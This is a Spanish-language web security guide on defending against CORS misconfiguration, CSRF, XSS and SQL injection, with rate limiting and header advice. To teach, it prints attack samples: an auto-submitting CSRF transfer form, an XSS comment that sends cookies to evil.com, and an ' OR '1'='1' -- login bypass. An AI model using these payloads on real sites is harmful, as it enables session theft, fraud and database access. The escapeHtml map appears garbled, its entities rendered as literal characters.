Protecciones comunes
Defensas contra las amenazas más frecuentes en aplicaciones web: CORS, CSRF, XSS, inyección SQL, rate limiting y otras protecciones esenciales.
Las amenazas que todo sistema enfrenta
Independientemente de la arquitectura, hay un conjunto de ataques que toda aplicación web debe saber manejar. Estos ataques son bien conocidos, están documentados y tienen soluciones probadas — pero siguen siendo la causa de la mayoría de las brechas de seguridad porque se ignoran o se implementan mal.
Cross-Origin Resource Sharing (CORS)
CORS no es un ataque sino un mecanismo de seguridad del navegador. Controla qué dominios pueden hacer requests a tu API.
El problema
Por defecto, los navegadores bloquean requests JavaScript a dominios diferentes al de la página actual. Esto protege contra scripts maliciosos que intenten acceder a APIs en nombre del usuario.
Configuración correcta
// ❌ Peligroso: permitir cualquier origen
app.use(cors({ origin: '*' }));
// ✅ Seguro: solo orígenes conocidos
app.use(cors({
origin: ['https://miapp.com', 'https://admin.miapp.com'],
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
credentials: true,
maxAge: 86400 // Cache de preflight por 24 horas
}));
Headers CORS importantes
| Header | Propósito |
|---|---|
Access-Control-Allow-Origin | Dominios permitidos |
Access-Control-Allow-Methods | Métodos HTTP permitidos |
Access-Control-Allow-Headers | Headers personalizados permitidos |
Access-Control-Allow-Credentials | Si se permiten cookies/tokens |
Access-Control-Max-Age | Tiempo de cache del preflight |
Errores comunes
- Usar
origin: '*'concredentials: true— los navegadores lo rechazan - No manejar las peticiones OPTIONS (preflight)
- Configurar CORS solo en desarrollo y olvidarlo en producción
Cross-Site Request Forgery (CSRF)
CSRF engaña al navegador del usuario para que ejecute acciones no deseadas en un sitio donde está autenticado.
Cómo funciona el ataque
1. Usuario inicia sesión en banco.com (cookie de sesión activa)
2. Usuario visita sitio-malicioso.com
3. sitio-malicioso.com tiene un formulario oculto:
<form action="https://banco.com/transferir" method="POST">
<input name="destino" value="atacante-123">
<input name="monto" value="10000">
</form>
<script>document.forms[0].submit();</script>
4. El navegador envía la cookie de sesión automáticamente
5. banco.com procesa la transferencia como si fuera legítima
Protecciones
Token CSRF
El servidor genera un token único por sesión que debe incluirse en cada formulario:
<form action="/transferir" method="POST">
<input type="hidden" name="_csrf" value="token-aleatorio-único">
<input name="destino" value="">
<input name="monto" value="">
<button type="submit">Transferir</button>
</form>
El servidor verifica que el token coincida antes de procesar la petición.
Cookie SameSite
La forma más moderna y efectiva de prevenir CSRF:
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
| Valor | Comportamiento |
|---|---|
Strict | La cookie nunca se envía en requests cross-site |
Lax | Se envía en navegación top-level (links) pero no en formularios POST |
None | Se envía siempre (requiere Secure) |
Verificación del header Origin/Referer
El servidor puede verificar que el request viene de un origen esperado:
function verifyCsrf(req) {
const origin = req.headers.origin || req.headers.referer;
const allowedOrigins = ['https://miapp.com'];
if (!allowedOrigins.some(o => origin?.startsWith(o))) {
throw new Error('CSRF detectado');
}
}
Cross-Site Scripting (XSS)
XSS permite a un atacante inyectar scripts maliciosos en páginas que otros usuarios ven.
Tipos de XSS
Stored XSS (persistente)
El script malicioso se almacena en la base de datos y se ejecuta cada vez que un usuario ve el contenido:
Atacante publica un comentario:
"Gran artículo! <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>"
Cada usuario que ve el comentario ejecuta el script sin saberlo.
Reflected XSS
El script viene en la URL y se refleja en la respuesta:
https://miapp.com/buscar?q=<script>alert('XSS')</script>
DOM-based XSS
El script se ejecuta manipulando el DOM directamente en el cliente:
// Vulnerable: usa innerHTML con datos de la URL
const search = new URLSearchParams(location.search).get('q');
document.getElementById('results').innerHTML = `Resultados para: ${search}`;
Protecciones contra XSS
Escapar output
Siempre escapar datos del usuario antes de insertarlos en HTML:
// Función de escape básica
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return text.replace(/[&<>"']/g, m => map[m]);
}
Content Security Policy
CSP es la defensa más efectiva contra XSS:
Content-Security-Policy: script-src 'self'; object-src 'none';
Esto impide la ejecución de scripts inline y solo permite scripts del mismo dominio.
Usar frameworks modernos
React, Vue y Angular escapan automáticamente el contenido renderizado. El riesgo aparece cuando se usa dangerouslySetInnerHTML (React) o v-html (Vue).
Inyección SQL
La inyección SQL permite a un atacante ejecutar consultas arbitrarias en la base de datos.
Cómo funciona
// Código vulnerable
const query = `SELECT * FROM users WHERE email = '${email}' AND password = '${password}'`;
// El atacante envía como email:
// ' OR '1'='1' --
// La consulta resultante:
// SELECT * FROM users WHERE email = '' OR '1'='1' --' AND password = ''
// Esto devuelve TODOS los usuarios
Protecciones
Consultas parametrizadas
La protección más efectiva y simple:
// Node.js con pg
const result = await db.query(
'SELECT * FROM users WHERE email = $1 AND password_hash = $2',
[email, passwordHash]
);
// Java con PreparedStatement
PreparedStatement stmt = conn.prepareStatement(
"SELECT * FROM users WHERE email = ? AND password_hash = ?"
);
stmt.setString(1, email);
stmt.setString(2, passwordHash);
ORM con consultas seguras
Los ORMs generan consultas parametrizadas automáticamente:
// Prisma
const user = await prisma.user.findUnique({
where: { email: email }
});
// TypeORM
const user = await userRepository.findOne({
where: { email: email }
});
Validación de inputs
Además de parametrizar, valida que los datos tengan el formato esperado:
// Validar formato de email antes de consultar
const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
if (!emailRegex.test(email)) {
throw new ValidationError('Formato de email inválido');
}
Rate Limiting
Rate limiting protege contra ataques de fuerza bruta, DDoS y abuso de la API.
Estrategias de rate limiting
Por IP
// Limitar a 100 requests por minuto por IP
const limiter = rateLimit({
windowMs: 60 * 1000,
max: 100,
message: 'Demasiadas peticiones. Intente en un minuto.'
});
Por usuario autenticado
// Limitar a 1000 requests por hora por usuario
const userLimiter = rateLimit({
windowMs: 60 * 60 * 1000,
max: 1000,
keyGenerator: (req) => req.user.id
});
Por endpoint
Endpoints sensibles como login o registro necesitan límites más estrictos:
// Login: máximo 5 intentos por minuto
app.post('/auth/login', rateLimit({ windowMs: 60000, max: 5 }), loginHandler);
// Registro: máximo 3 por hora
app.post('/auth/register', rateLimit({ windowMs: 3600000, max: 3 }), registerHandler);
Respuesta al rate limiting
Cuando se excede el límite, responde con:
HTTP/1.1 429 Too Many Requests
Retry-After: 60
X-RateLimit-Limit: 100
X-RateLimit-Remaining: 0
X-RateLimit-Reset: 1705314060
Otras protecciones esenciales
Headers de seguridad
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
Validación de uploads
Si tu aplicación acepta archivos, valida:
- Tipo MIME real (no solo la extensión)
- Tamaño máximo
- Contenido (escaneo de malware si es posible)
- Almacena fuera del directorio web público
Logging de seguridad
Registra eventos de seguridad para detección y respuesta:
- Intentos de login fallidos
- Cambios de permisos
- Acceso a datos sensibles
- Requests bloqueados por rate limiting
- Errores de validación sospechosos
Resumen
Las protecciones comunes son la base de la seguridad web. CORS controla el acceso cross-origin, CSRF previene acciones no autorizadas, XSS bloquea la inyección de scripts, las consultas parametrizadas eliminan la inyección SQL, y el rate limiting protege contra abuso. Ninguna de estas protecciones es opcional — todas deben implementarse desde el inicio del proyecto. La mayoría de las brechas de seguridad explotan la ausencia de estas defensas básicas, no vulnerabilidades sofisticadas.